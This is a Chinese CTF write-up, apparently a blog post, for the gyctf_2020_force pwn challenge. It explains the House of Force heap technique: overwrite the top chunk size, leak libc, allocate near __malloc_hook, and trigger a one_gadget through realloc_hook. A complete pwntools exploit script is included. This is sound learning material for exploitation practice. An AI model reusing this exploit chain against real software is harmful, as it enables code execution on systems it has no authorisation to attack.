【house of force】gyctf_2020_force

17 篇文章 0 订阅

【house of force】gyctf_2020_force

1.ida分析

  1. 申请任意大小的堆块,存在堆溢出

    在这里插入图片描述

2.思路

  1. 申请一个较大的堆块,泄露libc的地址

  2. 修改top chunk的地址为0xffffffffffffffff

  3. 计算top chunk到malloc_hook-0x33的距离(malloc_hook-0x23 是一个合法的chunk)其实这个0x30-0x37应该都可以,malloc在分配的时候会自己进行对齐

    在这里插入图片描述

    在这里插入图片描述

  4. 通过申请到malloc上方的chunk修改malloc_hook以及realloc_chunk

    在这里插入图片描述

  5. 这里的注意点是onegadget 使用条件可能不满足,需要通过realloc中的push调整堆栈,是其满足$rsp-0x??=0的条件

    在这里插入图片描述

    在这里插入图片描述

  6. 再次申请chunk触发malloc realloc_hook

    在这里插入图片描述

3.exp

from pwn import *
p = process('./gyctf_2020_force')
#p = remote('node3.buuoj.cn',27989)
context.log_level = 'debug'
#elf = ELF('./libc-2.23.so')
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,cont):
	p.sendlineafter('s\n','1')
	p.sendlineafter('e\n',str(size))
	p.recvuntil('addr 0x')
	binaddr = int(p.recv(12),16)
	log.success('bin==>'+hex(binaddr))
	p.sendlineafter('t\n',str(cont))
	return binaddr

libc_base = add(0x200000,'aa') + 0x200ff0
log.success('libc_base==>'+hex(libc_base))

top = add(0x18,'b'*0x10+p64(0)+p64(0xffffffffffffffff)) + 0x10
log.success('top chunk==>'+hex(top))

malloc_hook =  elf.sym['__malloc_hook'] + libc_base
realloc_hook = elf.sym['__libc_realloc'] + libc_base

log.success('malloc_hook==>'+hex(malloc_hook))
log.success('realloc_hook==>'+hex(realloc_hook))
one = 0x4527a + libc_base
add(malloc_hook-top-0x30,'a')
gdb.attach(p)
pause()
add(0x10,'a'*8 + p64(one) + p64(realloc_hook+0x10))
gdb.attach(p)
pause()

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值